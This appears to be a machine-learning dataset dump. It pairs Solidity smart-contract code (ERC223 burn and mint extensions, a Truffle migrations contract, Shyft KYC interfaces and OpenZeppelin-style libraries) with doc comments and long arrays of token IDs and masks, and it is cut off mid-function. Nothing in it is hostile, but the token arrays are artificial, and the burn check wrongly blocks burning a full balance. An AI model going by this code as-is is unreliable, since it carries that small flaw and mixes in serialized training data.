pragma solidity ^0.5.4;
/**
* @dev Extension of {ERC223} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC223Burnable is ERC223Token {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 _amount) public {
require(balanceOf(msg.sender) > _amount);
_totalSupply = _totalSupply.sub(_amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes memory empty = hex"00000000";
emit Transfer(msg.sender, address(0), _amount, empty);
}
}
// File: contracts/tokens/ERC223Mintable.sol
pragma solidity ^0.5.14;
/**
* @dev Extension of {ERC223} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC223Mintable is ERC223Token {
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
mapping(address => bool) public _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters[account];
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters[account] = true;
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters[account] = false;
emit MinterRemoved(account);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
balances[account] = balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
bytes memory empty = hex"00000000";
emit Transfer(address(0), account, amount, empty);
return true;
}
}
// File: contracts/Migrations.sol
pragma solidity 0.5.14;
// This is needed by truffle framework
contract Migrations {
address public owner;
// A function with the signature `last_completed_migration()`, returning a uint, is required.
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
constructor() public {
owner = msg.sender;
}
// A function with the signature `setCompleted(uint)` is required.
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
| * @dev Extension of {ERC223} that adds a set of accounts with the {MinterRole}, which have permission to mint (create) new tokens as they see fit. At construction, the deployer of the contract is the only minter./ | contract ERC223Mintable is ERC223Token {
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
mapping(address => bool) public _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters[account];
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters[account] = true;
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters[account] = false;
emit MinterRemoved(account);
}
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
balances[account] = balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
bytes memory empty = hex"00000000";
emit Transfer(address(0), account, amount, empty);
return true;
}
}
| 12,745,770 | [
1,
3625,
434,
288,
654,
39,
3787,
23,
97,
716,
4831,
279,
444,
434,
9484,
598,
326,
288,
49,
2761,
2996,
5779,
1492,
1240,
4132,
358,
312,
474,
261,
2640,
13,
394,
2430,
487,
2898,
2621,
4845,
18,
2380,
16171,
16,
326,
7286,
264,
434,
326,
6835,
353,
326,
1338,
1131,
387,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
3787,
23,
49,
474,
429,
353,
4232,
39,
3787,
23,
1345,
288,
203,
203,
225,
871,
490,
2761,
8602,
12,
2867,
8808,
2236,
1769,
203,
225,
871,
490,
2761,
10026,
12,
2867,
8808,
2236,
1769,
203,
203,
225,
2874,
12,
2867,
516,
1426,
13,
1071,
389,
1154,
5432,
31,
203,
203,
203,
225,
3885,
1832,
2713,
288,
203,
565,
389,
1289,
49,
2761,
12,
3576,
18,
15330,
1769,
203,
225,
289,
203,
203,
225,
9606,
1338,
49,
2761,
1435,
288,
203,
565,
2583,
12,
291,
49,
2761,
12,
3576,
18,
15330,
3631,
315,
49,
2761,
2996,
30,
4894,
1552,
486,
1240,
326,
490,
2761,
2478,
8863,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
445,
15707,
2761,
12,
2867,
2236,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
565,
327,
389,
1154,
5432,
63,
4631,
15533,
203,
225,
289,
203,
203,
225,
445,
527,
49,
2761,
12,
2867,
2236,
13,
1071,
1338,
49,
2761,
288,
203,
565,
389,
1289,
49,
2761,
12,
4631,
1769,
203,
225,
289,
203,
203,
225,
445,
1654,
8386,
49,
2761,
1435,
1071,
288,
203,
565,
389,
4479,
49,
2761,
12,
3576,
18,
15330,
1769,
203,
225,
289,
203,
203,
225,
445,
389,
1289,
49,
2761,
12,
2867,
2236,
13,
2713,
288,
203,
565,
389,
1154,
5432,
63,
4631,
65,
273,
638,
31,
203,
565,
3626,
490,
2761,
8602,
12,
4631,
1769,
203,
225,
289,
203,
203,
225,
445,
389,
4479,
49,
2761,
12,
2867,
2236,
13,
2713,
288,
203,
565,
389,
1154,
5432,
2
] |
./full_match/4/0xbdB88734C86D0613Daad4218865A2d5474F13173/sources/browser/OroNetwork.sol | * To View Total Staking Amount/ | function viewUserTotalStaking(address user, address stakingToken) public view returns(uint) {
return(stakings[user].amount[stakingToken]);
}
| 728,356 | [
1,
774,
4441,
10710,
934,
6159,
16811,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1476,
1299,
5269,
510,
6159,
12,
2867,
729,
16,
1758,
384,
6159,
1345,
13,
1071,
1476,
1135,
12,
11890,
13,
288,
203,
3639,
327,
12,
334,
581,
899,
63,
1355,
8009,
8949,
63,
334,
6159,
1345,
19226,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.7.1;
//SPDX-License-Identifier: UNLICENSED
/* New ERC23 contract interface */
interface IErc223 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function transfer(address to, uint value) external returns (bool ok);
function transfer(address to, uint value, bytes memory data) external returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
/**
* @title Contract that will work with ERC223 tokens.
*/
interface IErc223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes memory _data) external returns (bool ok);
}
interface IErc20 {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function transfer(address to, uint tokens) external returns (bool success);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IShyftCacheGraph {
function getTrustChannelManagerAddress() external view returns(address result);
function compileCacheGraph(address _identifiedAddress, uint16 _idx) external;
function getKycCanSend( address _senderIdentifiedAddress,
address _receiverIdentifiedAddress,
uint256 _amount,
uint256 _bip32X_type,
bool _requiredConsentFromAllParties,
bool _payForDirty) external returns (uint8 result);
function getActiveConsentedTrustChannelBitFieldForPair( address _senderIdentifiedAddress,
address _receiverIdentifiedAddress) external returns (uint32 result);
function getActiveTrustChannelBitFieldForPair( address _senderIdentifiedAddress,
address _receiverIdentifiedAddress) external returns (uint32 result);
function getActiveConsentedTrustChannelRoutePossible( address _firstAddress,
address _secondAddress,
address _trustChannelAddress) external view returns (bool result);
function getActiveTrustChannelRoutePossible(address _firstAddress,
address _secondAddress,
address _trustChannelAddress) external view returns (bool result);
function getRelativeTrustLevelOnlyClean(address _senderIdentifiedAddress,
address _receiverIdentifiedAddress,
uint256 _amount,
uint256 _bip32X_type,
bool _requiredConsentFromAllParties,
bool _requiredActive) external returns (int16 relativeTrustLevel, int16 externalTrustLevel);
function calculateRelativeTrustLevel( uint32 _trustChannelIndex,
uint256 _foundChannelRulesBitField,
address _senderIdentifiedAddress,
address _receiverIdentifiedAddress,
uint256 _amount,
uint256 _bip32X_type,
bool _requiredConsentFromAllParties,
bool _requiredActive) external returns(int16 relativeTrustLevel, int16 externalTrustLevel);
}
interface IShyftKycContractRegistry {
function isShyftKycContract(address _addr) external view returns (bool result);
function getCurrentContractAddress() external view returns (address);
function getContractAddressOfVersion(uint _version) external view returns (address);
function getContractVersionOfAddress(address _address) external view returns (uint256 result);
function getAllTokenLocations(address _addr, uint256 _bip32X_type) external view returns (bool[] memory resultLocations, uint256 resultNumFound);
function getAllTokenLocationsAndBalances(address _addr, uint256 _bip32X_type) external view returns (bool[] memory resultLocations, uint256[] memory resultBalances, uint256 resultNumFound, uint256 resultTotalBalance);
}
/// @dev Inheritable constants for token types
contract TokenConstants {
//@note: reference from https://github.com/satoshilabs/slips/blob/master/slip-0044.md
// hd chaincodes are 31 bits (max integer value = 2147483647)
//@note: reference from https://chainid.network/
// ethereum-compatible chaincodes are 32 bits
// given these, the final "nativeType" needs to be a mix of both.
uint256 constant TestNetTokenOffset = 2**128;
uint256 constant PrivateNetTokenOffset = 2**192;
uint256 constant ShyftTokenType = 7341;
uint256 constant EtherTokenType = 60;
uint256 constant EtherClassicTokenType = 61;
uint256 constant RootstockTokenType = 30;
//Shyft Testnets
uint256 constant BridgeTownTokenType = TestNetTokenOffset + 0;
//Ethereum Testnets
uint256 constant GoerliTokenType = 5;
uint256 constant KovanTokenType = 42;
uint256 constant RinkebyTokenType = 4;
uint256 constant RopstenTokenType = 3;
//Ethereum Classic Testnets
uint256 constant KottiTokenType = 6;
//Rootstock Testnets
uint256 constant RootstockTestnetTokenType = 31;
//@note:@here:@deploy: need to hardcode test and/or privatenet for deploy on various blockchains
bool constant IsTestnet = false;
bool constant IsPrivatenet = false;
}
// pragma experimental ABIEncoderV2;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
